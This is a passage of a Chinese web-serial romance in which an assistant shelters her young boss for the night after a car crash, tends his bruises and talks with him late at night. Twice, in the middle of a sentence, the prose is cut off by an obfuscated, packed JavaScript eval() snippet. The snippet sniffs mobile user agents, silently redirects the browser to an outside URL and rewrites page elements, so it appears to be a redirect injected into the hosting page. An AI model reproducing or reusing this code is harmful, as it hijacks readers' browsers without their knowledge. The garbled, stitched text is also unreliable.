双方最终达成了协议,交换了联系方式,并约好改天探讨赔偿事宜。 果然有能力的男人更有魅力,盛然完全不知道自己在凌晏如的心里突然多刷了很多好感。 处理完之后,他跑来跟魏如栩汇报,魏如栩的几个朋友也跟了过来。 “小魏总,肇事的小伙子家里是上市公司,他怕新闻爆出去被他老爸收拾,我劝他能用钱解决的事情大家就和平解决,他就答应了。”盛然表情轻松地对魏如栩说,“等回头车拉走做个检测,出具相关证明,他们该赔多少钱赔多少钱。一会儿我也立刻跟丁萧然说一声,让她帮忙把那条新闻撤下来,应该不会有什么影响。你看还有什么别的要求吗?” 魏如栩沉吟片刻:“没别的了,多一事不如少一事。” 盛然会意,轻轻点了下头,转身到一边给丁萧然打电话。 “抱歉啊哥儿几个,本来今天晚上想约你们好好玩玩,没想到遇到这种事儿。”魏如栩冲他几个朋友歉意地说。 一个嘻哈打扮的小伙挥了挥手,表示满不在乎:“嗨,都是哥们儿,说这种话有什么意思。平白无故你家车给撞成这样才叫倒霉,一定得盯紧内孙贼,让他把钱赔给你,一分都不能少。” “对!少一分钱打得他满地找牙!”另一个哥特风的男青年不怀好意地笑了笑,眼妆都快晕到颧骨了还茫然不知,小眼睛上下打量着顾妙,“这位妹妹身手不错,下回带出来一起玩啊!” 魏如栩和顾肖十分有默契地同时向顾妙这边跨了一步,俩人“关门”似地把她挡在了身后,两人组成了一道墙,锁住了顾妙投向那位少爷的死亡凝视。 顾肖赶紧岔开话题:“都是文明人,自然是先礼后兵,要是那小王八蛋翻脸不认账,就找律师告他,反正咱们这么多人证。对吧乔哥?” 他最后这句是冲着旁边一个久未出声的矮个男青年说的,这人看起来年纪略大,显得比较有城府,他点点头,看向魏如栩:“需要帮忙的话,尽管开口。” 魏如栩脸上挂着不常见的痞气:“那必须!” 大家都意兴阑珊,几位纨绔子弟道了别,各自开了豪车离去。 盛然打完电话,回到凌晏如身边,看着魏如栩:“剩下的事交给丁萧然,咱们回去吧。小魏总我先送你回家?我跟顾妙他们住一个小区,一会儿顺道就送回去了。” 魏如栩心中突然升起一丝不舍,凭什么他们回家都热热闹闹的,就我一个人在家要对着四面墙? 恰好又听见顾妙发现了顾肖胳膊上一片淤青,一边骂他一边又说要回家给他用红花油揉开。 顾肖忙不迭把手肘往回缩:“姐你就饶了我吧,你揉完我得秃噜一层皮。” 于是小魏总没顾上搭理盛然,转头对顾妙重复了今晚的金句:“我也要。” 顾妙姐弟并凌晏如和盛然一起石化了。 顾妙难以置信地:“你说什么?” “我后背刚刚撞伤了,疼得很,估计青了一大片,我也要你给我揉红花油。”魏如栩理直气壮地说,接着看向盛然,单方面宣布,“今晚我不回家,去顾妙家住,大家一起走吧。” 顾妙:“???” 顾肖:“……” 小魏总,你是在跟我争宠? 魏如栩说完,并不听旁边人有什么反馈,自顾自地甩开长腿向盛然的车走去。 盛然愣了一秒,赶紧跟上,去给老板开车门。 凌晏如在旁边强作端庄,内心笑成了狗,紧跟盛然的步伐,同时控制不住地捂嘴偷笑。 顾肖拉了拉大脑再次死机的顾妙,低声问:“平时他也这样吗?” 顾妙一脸送葬的表情:“别问我,我什么都不知道。” 盛然开车,本想让魏如栩坐副驾驶,毕竟比较宽敞,何况顾妙顾肖跟自家小姨在后座挤一挤也没什么不方便的。 谁知魏如栩脑子里貌似已经安排好了座位,到了车前,主动跟凌晏如说:“小姨,您坐前边吧,比较宽敞。” 人家这么尊老,凌晏如也不好意思客气,按下嘴角的笑容座上了副驾驶,跟盛然交换了一个属于过来人的油腻眼神。 等那姐弟俩跟上来,魏如栩自然要请女士先落座,于是顾妙上车,主动坐到了后座最左边。 顾肖心底觉得魏如栩应该是对他姐有那么一点意思,于是也没挪窝,等着魏如栩坐中间,好让他们两个挨着。 没想到倒是他自己思想龌龊了,魏如栩冲他一使眼色,让他坐中间去。 顾肖疑惑地看向魏如栩:“?” 魏如栩:“边儿上得劲儿。” 顾肖无语凝噎,这个理由确实不容置疑。 可凭什么我又是那个最惨的? 32. 第三十二章 抱窝老母鸡 盛然的车是辆SUV,空间十分宽敞,后座坐三个倒还好,再加上他们都瘦,不至于出现仨人前后插空坐的情况。 但是一上车,气氛陡然诡异起来。 凌晏如和盛然之间原本就怪怪的,俩人各自心怀鬼胎,带了一脑袋弹幕。 凌晏如心想:“顾肖和魏如栩还不知道呢吧?我跟盛然表现得很熟不太合适吧?怎么跟盛然说话呢?他会不会主动先开口?顾肖还好说,要是魏如栩发问我怎么解释?不对,好像也轮不到我解释?” 盛然心想:“我应该先开口吧?不说话实在太尴尬了。可是在小魏总面前,不太方便表现得跟晏如很熟,毕竟刚刚他都随顾妙叫她小姨了。小魏总跟顾助理的关系看来不错啊,他们会不会……嗐,关我什么事!” 俩人思前想后着,谁也没先说话。为了缓解气氛,盛然拧开了车载音乐,随机放着老少咸宜的英文歌。 魏如栩其实已经从刚才冲动的决定中清醒了过来,顿时内心一阵悲痛——他不太想去思考今晚在众人面前塑造了一个怎样的形象。 他对顾妙是有好感,但还没到那个份上,只是长期以来的相处,加上今晚事故的催化,产生了一种莫名的亲近和依赖。他闹着要去顾妙家住,也只是不想一个人回家面壁而已,根本没什么非分之想。 其实这事儿大家一想就明白,顾妙又不是一个人住,家里还有顾肖,况且魏如栩也不知道凌晏如搬出去了,他能有什么其他想法? 顾妙很快就理顺了思路,换了是她,从热闹中抽身而出,带着伤一个人回家,想想都觉得凄凉。 她的小魏总已经够可怜了,还孤孤单单一个人,她作为大了半个月的姐姐,对孩子好点也是理所应当的。 顾妙扭头看了看靠窗发呆的魏如栩,借着路旁透进来的灯光,见他脸色略有点苍白,垂着眼皮不知道在想些什么,长长的睫毛盖住眼睛,整个人散发着一股忧伤无助的气息。 这层脑补很快激发了顾妙的母性,她无意间成了打破沉默的第一人。 “小魏总,你后背疼吗?疼的话我这儿有抱枕,靠着能软和点。”顾妙从背后抽出抱枕递过去。 魏如栩作为一个纯爷们儿,第一反应想要拒绝,但电光火石之间他突然想到,如果拒绝就会显得逻辑不能自洽——刚刚他哭着喊着要跟顾妙他们回家涂红花油就纯属别有用心。 为了不露馅,他只能装怂,伸手接过来抱枕垫上,软乎乎的确实还挺舒服。 后背确实有点疼,可能真有问题。 魏如栩顺势看了看顾妙,见她眼睛依旧红肿,脸上哭得乱七八糟,皮筋松了,马尾辫有些凌乱,整个人显得弱不禁风,跟刚才跳起来踢人的女中豪杰判若两人。 “你呢?确定没受伤?” “我摔惯了,那点算什么,何况还有你这个人肉垫子,但你下回千万别这么干,太缺心眼。” “先看看你自己吧!”魏如栩冷笑一声,“仗着身手好,一言不合就跟人动手。你以为你是武林盟主吗?就不怕别人比你功夫更好?万一遇到个横的,你还能跟人拼命?” “拼命就拼命,那又怎么样?”顾妙无端遭人指责,十分不爽,“那也比任人宰割强。我只要不欺负别人不就行了!” 俩人你一言我一语,原本好好的关心莫名急转直下,变成了斗嘴。 坐在交战区正中央的顾肖十分痛苦,很想把这两头羊的脑袋按一起,让他俩顶个痛快,免得殃及自己这条池鱼。 而前面端坐的两位前辈,虽然没有眼神交流,但脑中同时闪过同样的弹幕:“顾妙平时就是这么跟老板说话的?” 为了自救,顾肖挺身而出,一手把顾妙的嘴捂上,一边转头问魏如栩:“如栩哥,你反应也够快的,真敢下手拦她。我瞧你这身手挺敏捷,以前也练过?” 顾妙忙不迭拍掉顾肖的爪子:“脏死了,拿走!” 魏如栩也知道刚刚莫名跟顾妙怼上有点不是东西,于是顺坡下驴,回答顾肖:“小时候学过一段时间拳击,但没坚持,基本都还给教练了。” 这个话题顾肖十分感兴趣,于是跟魏如栩一问一答地聊了起来,剩余三个人听他们俩聊,也都没插话,终于平安无事到了家。 魏如栩这才知道凌晏如不跟顾妙顾肖住一起,更觉得放松了一点,毕竟要跟家长住在同一屋檐下,还是有点压力的。 当着三小只的面,凌晏如也不便拒绝盛然把她送回前面楼的好意,只好坐上车。 到了楼下,两人告别,盛然很绅士地没有任何进一步的举动,只是跟她道了声晚安,说了一句“明天来接你去打球,等我电话”,之后便开车走了。 凌晏如目送他的车在小区里拐了几拐,被居民楼挡住消失不见,心情莫名有点躁动。 入夜气温微降,室外有一缕若有若无的微风。天清气朗,月亮清晰地在天上挂着,明晃晃的一丝毛边都没有,视觉所触,有种沁人心脾的感觉。 “孽缘啊!”凌晏如瞪着那半大月亮,突然感叹了一句。 跟着进了顾妙顾肖的家,魏如栩好奇地四处打量。 平方数比他的一居室大一点,但因为是老房子,又分成了三室一厅,整体感觉还是有点拥挤。 顾妙催促着顾肖去给魏如栩找换洗衣服,自己则简单给他介绍:“这是顾肖的狗窝,这间是我的,那间……是爸爸妈妈的。你今晚——” “我睡沙发。”魏如栩一屁股坐在布艺沙发上,上下颠了颠,伸手按了按坐垫,“你们家沙发可真够舒服的。” 顾妙之前隐晦地提过她的父母已经去世,但似乎不太想细说,魏如栩也就没问。他自然不会去睡人家已故父母的房间,转瞬间也想到凌晏如没住顾家,估计也是不想鸠占鹊巢。 为了不让顾妙为难,他主动提出要睡沙发。 原本顾妙并不纠结,她打算让顾肖睡沙发,魏如栩去睡顾肖的房间。后来又一想,这样三个房间都要开空调,顿时觉得心疼,其实后来是想安排魏如栩跟顾肖一起睡的。 听到魏如栩这话,她怔了怔:“老板,这不太好吧?要不你去跟顾肖挤一挤,他那床是一米五的,也挺宽敞。” “有什么不好的?上次你们在我家不也睡的沙发?”魏如栩大马金刀地坐着,向沙发靠背上一靠,枕着双臂,神情非常悠闲,“跟顾肖挤什么劲,再影响他休息。” 小魏总不知人间疾苦,不了解顾妙那守财奴的心理,还以为自己干了件好事。 此刻顾妙心中电表转得像风扇,每转一圈就有一枚无辜的金币消失,她犹豫了半天,想想顶多十几块钱的事儿,牙一咬心一横:“……行吧。” 顾肖还不知道自己躲过了一劫,拿着一套篮球队服出来:“老魏,穿这套行吗?” 顾妙:“?老魏是你叫的?” 顾肖振振有词:“哥们儿之间就这么叫,管得着吗?!” 魏如栩接过篮球队服:“好得很,一会儿洗完澡换。” “等会儿,先把后背撩起来我看看。”顾妙很是严肃,“要是有淤伤得及时处理。” 魏如栩跟顾肖面面相觑,俩人脸上挂着明晃晃的尴尬。 顾肖主动替魏如栩拦了一句:“姐,不太合适吧,老魏到底是个大老爷们……” “老板在我眼里没性别。”顾妙莫名其妙地瞅着他俩,“我都不尴尬,你俩尴尬个什么劲?看个后背而已,又不是要扒你裤子——不对,你之前那个摔法,可能侧臀部也会受伤……” 看着她若有所思,魏如栩和顾肖本能感到一阵颤栗。 果然,顾妙悠悠地说:“看来还真得扒你裤子。” “没有性别”的魏如栩“嚯”地站起身,赶紧说:“免了!给你看后背,其他地方我自己检查。” 顾妙哈哈大笑:“逗你玩!谁有兴趣看你扁平的屁股。” 顾肖已经感觉到魏如栩身上暴涨的逆鳞气场,结合他这一晚上不正常的表现,生怕他下一秒就拍着屁股要证明自己一点不扁平,顿时一阵心惊肉跳。 事实证明小魏总不是这么没溜的人,纵然被人说扁平实在是委屈巴巴,但他也不可能好胜心强得不要脸,真的当众脱裤子去证明什么。 “废什么话?!奖金还想要吗?”魏如栩转过身,撩起后背,没好气地说,“要看抓紧看!” 顾妙顾肖一起凑了过去,不看不知道,一看吓一跳,魏如栩右侧肩胛骨往下一直延伸到腰侧,是一大片花红柳绿的淤青! 顾妙倒吸一口冷气,严姐本性发作,把小魏总当成了顾肖,又气又恼间直呼了老板的全名:“魏如栩,你痛觉神经是不是有问题?!这样不觉得疼吗?!” 她一边骂着,一边伸手轻轻碰了碰他的肩胛骨,顿时自己也觉得身上好像也疼了起来。 魏如栩只觉得一根凉凉的手指戳了戳他的后背,是有点疼,但让他更紧张的是这轻轻的一次触碰,莫名像被电线打了似地哆嗦了一下。 他掩饰地放下衣服,转过身来,若无其事地说:“可能吧,我没觉得怎么疼。” 顾肖小时候特惜命,任何有可能触及生命危险的体育活动都不参与,从小到大受过的伤,最严重的是肩膀上起的大包白头被挤掉,没处理好给 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459409|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 搞化脓了。 那还不是他本人干的,是顾妙手贱眼贱,见不得人身上起疙瘩,一看见就想挤。 那会儿他武力值敌不过顾妙,只好乖乖就范。挤白头的时候疼得他龇牙咧嘴,化脓的时候他一度觉得自己快要嗝屁了——看太多生化恐怖片的后果。 因此他见魏如栩身上基本变成了后现代主义画家的画布,居然还能一声不吭,不由地竖起大拇指:“真爷们儿。” 一晚上情绪激动的顾妙此刻又一次红了眼眶:“甭跟我装,疼不疼自己心里有数!你们俩抓紧去洗澡,完事儿冷敷!” 顾肖喊着“我先洗”,一溜烟儿窜进了洗手间。 顾妙恨恨地:“礼貌呢?被狗吃了?” “让他先洗呗,他最小,让着他。”魏如栩抱着胳膊,饶有兴趣地走到顾妙身边,低下头凑过来观察她的表情。见她眼睛红红的似乎有水光,心里有点痒痒,禁不住调侃她,“哟喂,不会是心疼我吧?” “少自作多情了,一看你就没文化,这是什么镜像感觉神经元的作用……”顾妙口不对心地解释,觉得难以为继,赶紧转换了话题,“顾肖不喜欢别人把洗手间弄得全是水汽,每回都要先洗,真是矫情!你待着吧,我去换衣服。” 顾妙一边说着一边钻进自己屋里去,魏如栩看着她纤瘦的身影,心里又是一股暖流涌过。 有人在身边,有人关心的感觉真好。这么一想,之前独来独往的那些日子顿时就变得难以容忍了。 魏如栩突然发现自己贪恋这样的感觉,一时又有点惶恐。 这种温暖的感觉万一不能天长地久,那该怎么办呢? 顾妙觉得自己就像抱窝的老母鸡,一共就俩蛋,一会儿担心这个有问题,一会儿担心那个破碎了,心累得不行。 她检查过顾肖,发现这位少年就手腕上一块淤青,于是丢给他红花油让他自己去揉。 至于魏如栩,坚决拒绝顾妙的窥探,坚称自己其他的地方完好无损,成功避开了她那双试图挖掘事实真相的双手,但最终屈服于她的武力值,被按着趴在沙发上,从肩膀到后腰,受伤的一侧放了三个冰袋。 好在天气热,敷冰袋还能降温。 魏如栩悠闲地趴在沙发上,时不时小狗似地看坐在一旁计时的顾妙一眼,见这位贤助理嘴角快撇地板上去了,莫名有种异样的开心。 刚刚洗澡的时候他自己检查了一下,伤最重的地方确实是在侧腰以下,胯骨附近,青紫程度比后背还可怕。但他没说,主要是不想顾妙为他担心。 从第一次一起出差就知道,这丫头习惯了将自己置之度外为别人操心,何苦再给她的顾虑大厦添砖加瓦——她不应该叫顾妙,应该叫顾虑。 魏如栩这会儿怀疑自己确实痛觉神经不太发达,伤成这样也并没有觉得多疼,打算回头找时间去中医馆里看看,应该不会有什么事。 觉得时间差不多了,顾妙才允许他把冰袋取下来。看看时间不早,她也抓紧时间洗了澡,出来之后见魏如栩趴在沙发上,闭着双眼,呼吸平稳,看起来已经睡着了,便轻手轻脚地关上客厅的灯,回卧室睡了。 顾省钱想来想去,还是有点心疼电费。她不忍为难魏如栩,也知道顾肖绝对不会搭理她,只好自己关了空调,吹着咿呀作响的电风扇。 原本一晚上情绪起伏太大,这会儿早就精疲力尽,应该沾枕头就着。可是因为热,她先是翻来覆去睡不着,好不容易睡着,半个小时就被被热醒。 于是她暴躁地坐了起来,思考了一会儿,悄悄把卧室的门打开,希望客厅的凉风能吹进来。 “都什么年代了,避讳啥?”月光照进客厅,顾妙瞅了一眼魏如栩沉沉睡去的身影,进行自我说服,“我开开门,万一他哪儿疼,有什么不对劲儿的,也能及时帮他。” 凉气灌进卧室里来,再加上电风扇的配合,温度很快变得非常宜人。 顾妙蓬勃了一晚上的小宇宙终于偃旗息鼓,她的大脑也冷静下来,开始梳理整晚的事情。 她倒也不为自己的大起大落的情绪而难为情,也没因为在老板面前哭鼻子而尴尬什么,倒是觉得魏如栩今天的表现一反常态的幼稚,像一个早年失恃的孩子,肢体语言中带着满满的撒娇意味,就差像狗一样拿脑袋蹭她了。 顾妙忽然想起来,老板的妈妈早年去世了,可不就是失恃么。 现在他老爸在国外疗养,好歹还带了个助理陪着,他倒好,每天下班就一个人回家待着,醉酒生病了都没人照顾,可不是倍感凄凉? 从掉马之后,顾妙发现魏如栩确实跟他以前不太一样。 33. 第三十三章 谈心 魏如栩确实擅长装模作样,跟川剧变脸大师似的,恨不能见人说人话,见鬼说鬼话。 但这并非贬义,顾妙知道他是外圆内方,他之所以现在这个样子,一方面因为耳濡目染,毕竟老魏总是个成功的商人,场面上的一切都会影响到他;另一方面因为魏如栩缺乏安全感,本能会用各种方式掩饰自己的真心,看起来面热,实际心冷。 只是他的冷静淡漠跟顾肖完全不一样。 顾肖本来性子冷淡,十分自我,根本不在乎外界怎么看他,除非是少数能走进他心窝里的人,比如家人、比如他喜欢的人。外加内双丹凤眼的加持,整个人显得有点锋芒外露,还有点特爱摆谱,顾妙一直担心他去了大学会被人追着打。 而魏如栩的冷是克制出来的,顾妙看得出,平日里他似乎是有意在压缩情绪,把自己装进一个方方正正的框子里,好让自己显得稳重强大,有挑起一个公司的实力。 只有在她面前,魏如栩才会流露出属于年轻人生动有趣的一面,令人倍感珍惜,偶尔才会忍不住去逗他,反正顾妙知道他不会真跟自己生气。 以今晚的表现来看,他可能比自己想象的更缺乏关爱,顾妙觉得以后还是有必要多关心一下老板,年纪轻轻的实在太不容易了。 奇怪,怎么今天格外多愁善感? 顾妙胡思乱想着,昏迷一般地睡了过去,连梦都没做。 也不知道过了多久,她觉得好像有什么东西在戳她的后背,很不情愿地扭动了一下。 然而那东西并没停下来,还在一直戳,同时伴随着一个声音轻声喊她的名字:“顾妙,醒醒,顾妙……” 她愤怒地睁开眼,几欲暴起,却看到床头台灯亮了,照出了魏如栩一张疲倦的脸,这位大神手里拿着一支笔,担忧地看着她。 “怎么了?身上不舒服?要不再冷敷一下?”顾妙坐起来,揉揉眼,“不行的话明天我们去医院。” “不是。”魏如栩尴尬地摇摇头,“你……呼吸不太对劲,我……嗯……怕你会憋着自己。” 顾妙:“……” 妙龄少女睡觉鼾声连天,竟吵到隔壁英俊少年? 这是什么人间惨剧?! 老板你这个借口是不是过于勉强了? “对不起啊,我……可能是太累了。”顾妙觉得自己简直可以挖个坑长眠地下,“是不是吵到你了……” 话一出口,她又有点后悔,不吵到人家,谁会巴巴过来把她叫醒? 魏如栩连连摇头:“真的不是,我就是听着动静不太对,怕你有什么问题,过来一看你脖子窝得太厉害,看上去就呼吸不畅,所以想叫你起来调整一下。” 所以这是“姿势不对,起来重睡”的委婉说法吗? 顾妙更心累,如果这事儿让顾肖知道,搞不好要笑她一整年。 她确实有这个毛病,睡眠习惯不好,一旦太累就变本加厉,窝着脖子张嘴睡觉,起床口干舌燥外加一枕套口水。 以前妈妈看到了,会在不弄醒她的前提下帮她纠正过来,可现在……反正都是她自己睡,也影响不到别人。 可顾妙想到,之前魏如栩说过,他睡眠质量不太好,有时候需要药物助眠,估计刚刚真的是忍无可忍才过来叫她,顿时有点内疚。 “那……”顾妙一时不知道该怎么办好了。 魏如栩看着她为难的表情,心里后悔死了。 他睡觉轻,吃了药可以睡死过去,但不吃药很容易被吵醒,何况小客厅跟顾妙房间挨得最近,入夜安静得很,一点声音都听得清清楚楚。 只是他叫醒顾妙不是因为怕吵,而是真的担心她出事。之前留学的时候听说一个酒鬼邻居就是睡眠呼吸暂停导致猝死,又是一人独居,别人闻到尸臭报警之后才发现。 那是魏如栩第一次知道打呼这种事也会死人。 当然这种概率也很小,且酒鬼喝得酩酊大醉,还有些心脏方面的疾病,简直是debuff叠加才导致这样的后果。 顾妙毕竟是个身体健康的年轻人,况且也应该不算是睡眠呼吸暂停综合征,应该不会有事。 可魏如栩在外面听着她间歇性断气的呼吸声,简直心惊肉跳,每一个突然响起的鼾声都像是死神在摇铃,重重打在他的心坎上。 思前想后了很久,他才决定起来把她叫醒。可现在看着她明晃晃挂了一脸窘的样子,真是体验到什么叫悔得肠子都青了。 “我不打扰你了,快继续睡吧。”魏如栩转身向客厅走去。 顾妙起身叫住他:“哎,你睡眠浅,还能睡着吗?不然我给你热个牛奶?” 魏如栩连连摆手:“别瞎操心了顾妈妈!” 顾妙虽然困得魂魄离体,可既然吵到人家,也不敢再睡,只好关了灯在床上翻来覆去,强迫自己清醒,试图等魏如栩睡着之后再睡。 玩会儿手机,大半夜的社交网络一片安静,没意思。 看电子书,看了两眼,上下眼皮就像一对至死不渝的爱侣,哭着喊着要拥抱。 度秒如年地过了十五分钟,顾妙轻轻下床,从卧室探出头想看一眼魏如栩睡没睡着,就看到了一枚在黑暗中点亮的手机屏幕。 顾妙:“……” 她打开床头灯以宣告起床,忧心忡忡地进了客厅,拉开沙发一角的落地灯,絮絮叨叨跟老妈子似地说:“黑灯瞎火的看手机,你也不怕得青光眼。” 魏如栩坐起来:“……影响到你了?抱歉。” 这会儿觉得身上疼得厉害了,怎么躺怎么不得劲,便转过身趴着,再加上他原本醒了就不容易睡着,所以只好玩手机,没料到顾妙也没睡,难怪这会儿这么安静。 顾妙嘴上没说,心里轻叹了口气,越发觉得这位老板是个活祖宗。 她到厨房里用微波炉加热了一杯牛奶,端出来递给魏如栩,由于她身心俱疲,于是便没有任何铺垫、直眉楞眼地下命令:“喝了。” 落地灯的阴影衬得顾妙气场两米八,魏如栩哆哆嗦嗦接过牛奶,原本想一通豪饮,免得对面这人用满含杀意的眼光刮他一层皮,可是他微微尝了一口,迟疑着把杯子放在了茶几上。 “……烫。” 顾妙挑眉,伸手去摸杯子:“怎么会?我试着不烫啊。” 魏如栩忙不迭地说:“是我的问题,我比别人都怕烫。” 顾妙:“……” 小魏总从小到大,不太好带吧。 要是顾肖敢这样,早被她拧掉天灵盖了。 她坐在魏如栩身旁,打算等他喝了牛奶再去睡,估计需要个五六分钟,这段时间,不妨尬聊一会儿。 虽然两人之间隔着大约两个拳头的距离,但也不知是心理作用还是顾妙体温高,魏如栩敏锐地感受到了她身上传来的热度,再一垂眼,瞥到她穿的是棉布白底小碎花的短袖短裤睡衣,此刻修长的双腿盘在沙发上,线条流畅优美,无暇的皮肤在阴暗的灯光下微微反光—— 小魏总不是和尚,纵然对自己的女下属没什么非分之想,但目前也莫名有点紧张。 魏如栩尴尬地咳了咳:“你去睡吧,我保证一会儿就把牛奶喝了。再耗下去天都快亮了。” 顾妙一只胳膊撑在沙发靠背上,支着脑袋看着他:“我在这儿蹭会儿凉气——哎,你那车,撞得挺惨啊,车头都那样了,要修得花多少钱啊。” 到底是“三叉戟”,顾妙现在回想觉得肉疼,追问了一句:“万一对方反悔了不肯赔怎么办?你怎么跟你爸解释?” 魏如栩:“……” 这丫头片子毁气氛的本事一流,每句话都戳在小魏总心窝子上,把他不愿想的事儿通通拉出来鞭尸,狠狠刷了一波存在感。 “交给盛然去处理,应该不会有什么问题。”魏如栩轻描淡写地解释,“今天和我一起玩的一个哥们儿家里世代律师,他爷爷是咱们省律师协会会长,要起诉的话对方逃不过。何况那人钱应该是能赔得起的,没必要多生事。” 话虽这么说,万一那孙子酒醒了之后不认账,想找事的话,确实也会棘手。但事情没发生,没必要提前焦虑。 顾妙:“难怪顾肖跟那个乔哥那么说。” “对啊,本来我们就在扯这事儿,才吵了那么久。那小子一来就嚷嚷他爹是谁,其实挺没种的。但万不得已我也不会告他,毕竟人家影响力比我们大。”魏如栩苦笑一声,“可我也算是损失惨重,不想试都没试就忍气吞声。” “好歹你也是个富二代,至于这么怕他们吗?”顾妙瞟了一眼魏如栩的头发,那几根挑染已经被洗掉了,想必是一次性的,只剩那枚耳钉还闪闪发亮。 说着说着她手又不听使唤了,犯贱伸手去摸:“什么时候打的耳洞?” “没打,是耳夹,十块钱俩。”魏如栩伸手把那耳夹摘了下来,递给顾妙,眼神蒙上一层灰雾,“人比人气死人,我爸奋斗半辈子也就这么一个百十来人的小公司,我跟那些真正的富二代和官二代比起来什么都不是,比上不足比下有余罢了,真遇上事也得掂量掂量。” 顾妙玩着那耳夹,叹道:“连你都这样,别说我们小老百姓了。” “所以看见你冲过来就上腿,我们都惊了。要是真给人踹出个好歹,麻烦可就大了。”魏如栩想到这个略微有点后怕,“我真怕多少钱都捞不出你来——你以后可别这么冲动,万一惹了不该惹的人,凭着一腔孤勇去跟人家有权有势的拼吗?何况打架斗殴就是不对,武侠小说都还说‘侠以武犯禁’,咱虽然不怕事,但也不能主动找事。” 顾妙瞪着圆溜溜的大眼睛,像见了鬼似地看着魏如栩,片刻之后消极应对:“魏老师说得对,魏老师棒棒哒。” 魏如栩自然听得出她含着揶揄的敷衍,反馈给她一个大大的白眼。 “比上不足比下有余可还行……”顾妙若有所思地说,“听起来你这富二代真是名不副实,但别人骂起富二代,管你副不副实,满天的锅你也没少背。这叫心为形役么?” 魏如栩:“……” 大姐你真会聊天。 “我不为我的出身感到羞耻或者骄傲。我和你们一样,都是努力想要证明自己的普通人。”魏如栩叹了口气,准备揭过这个话题,他想到顾妙之前失控的样子,心里隐隐有些难受,用肩膀拱了她一下,“今天我带顾肖出来玩,没照顾好他,是我的问题,抱歉。” “不怪你,我是一只惊弓之鸟……”顾妙沉默了片刻,“因为我爸妈就是车祸去世的。” 她尽可能简单地描述了一下当时的情况,省略了很多细节,但从这几句话当中,魏如栩已经感受到了那种惊心动魄。 他扭头诧异地看着她,张了张嘴却又不知道说什么好。 眼前的女孩面对他,披着如云的长发,垂着目光,向来充满活力的面孔上挂着无法言说却又努力压抑着的痛苦。 难怪…… 魏如栩又想起一起出差时对顾妙的感觉,想起她身上有那种 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15459410|169685||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 许久没有被人照顾过、却一直在照顾别人的坚强。 也似乎更明白跟她相处为什么这么合拍,或许因为同是天涯沦落人? 气氛有点压抑,这种悲伤的感觉令人极其不爽。 “放心,以后有我罩着你。”魏如栩伸手在她头顶按了按,笑眯眯地说,“我是你老板,算是半个家长,有什么事尽管来找我。” “呸!”顾妙甩了甩头,抖掉他的爪子,“还家长?真不要脸!” 说着她端起茶几上的牛奶,怼到他手里:“喝你的奶吧!” 牛奶凉得差不多了,魏如栩咕咚咕咚喝下去,正想给顾妙展示他喝得干干净净的杯底,却发现这位同学脑袋歪在沙发靠背上,已经睡着了。 这秒睡功力实在令人羡慕。 魏如栩心里突然一阵柔软,轻轻把杯子放下,也靠在沙发上,侧着头看她。见她刘海搭在眼睛上,便忍不住想要伸手帮她拨开,可他忽然想起前两天戳了一下她的鼻子就把她弄醒还换来一拳的事儿,伸出去的手停在了半空,随即缓缓收了回去。 那天这小丫头睡得倒是挺安静的,跟这会儿一样。 可魏如栩看来看去,还是觉得那缕刘海实在碍事,强迫症发作,又轻轻伸出手去,以0.25倍速小心翼翼地挑开了那绺不听话的头发,才慢慢长出了一口气,仿佛这个动作已经耗尽了他全身的精力。 他靠在沙发上看着这张安宁的睡颜,莫名觉得眼皮发沉,缓缓闭上眼睛。 魏如栩想,这丫头一定在牛奶里下药了。 第二天顾肖醒过来,揉着眼睛起床去上厕所,拉开房门就被眼前的景象震了一惊,第一反应就是转身到床上拿手机,蹑手蹑脚到客厅去拍照。 沙发上,顾妙坐着,脑袋靠在沙发靠背上,歪向一边,旁边魏如栩同样的坐姿,跟她头对头,呼吸沉稳地睡着。 一个身穿白底碎花睡衣,一个穿着白色篮球队服,俩人几乎组成了一个“心”形。 顾肖手机都快拿不稳了,心中暗喜,也不知道拍下来能干什么,总觉得将来一定能派上用场。 可即便拍照没有声音,顾妙和魏如栩几乎是同一时间无声地睁开了眼,妥妥将顾肖抓了个现行—— 顾肖夺路而逃的时候,终于知道这照片的作用是什么了。 是害他被灭口的! 一着不慎,满盘皆输啊! 顾妙原本想把顾肖脑袋拧下来的,鉴于魏如栩在场,不便表现得这么暴力,于是只给顾肖记了账,把他撵出去买早餐,然后让老板去顾肖房间里补个觉,自己也回房间睡了。 也不知道过了多久,顾妙浑身一激灵,醒了过来,抓过手机一看放了心。 才早上十点,还好还好。 顾肖给她留了信息,说早餐放厨房了,他出去买点东西,准备接下来军训用。顾妙一撇嘴,心想我呸,买东西网购更方便,肯定是出去陪盛缘了。 也不知道这两人发展到了什么程度,但以顾肖的行事方式,估计也没什么进展。 顾妙出了卧室,发现家里十分安静,便轻手轻脚地推开顾肖房间的门,见魏如栩还在睡着,又做贼一般地退了出来。 日上三竿了,要不要叫这位大少爷起来呢? 她洗漱完毕,又把家里简单打扫了一遍,垃圾打包好,放在大门外,准备下楼的时候顺便带下去。 正要关门的时候,碰见住楼上的刘奶奶一手提着菜篮子,一手牵着一条半大金毛爬了上来。 顾妙是个见狗迷,一直心心念念想养只狗,可惜没机会,看到别人家的狗都是爱不释手,尤其这样乖乖巧巧的金毛,于是冲上去摸了个够。 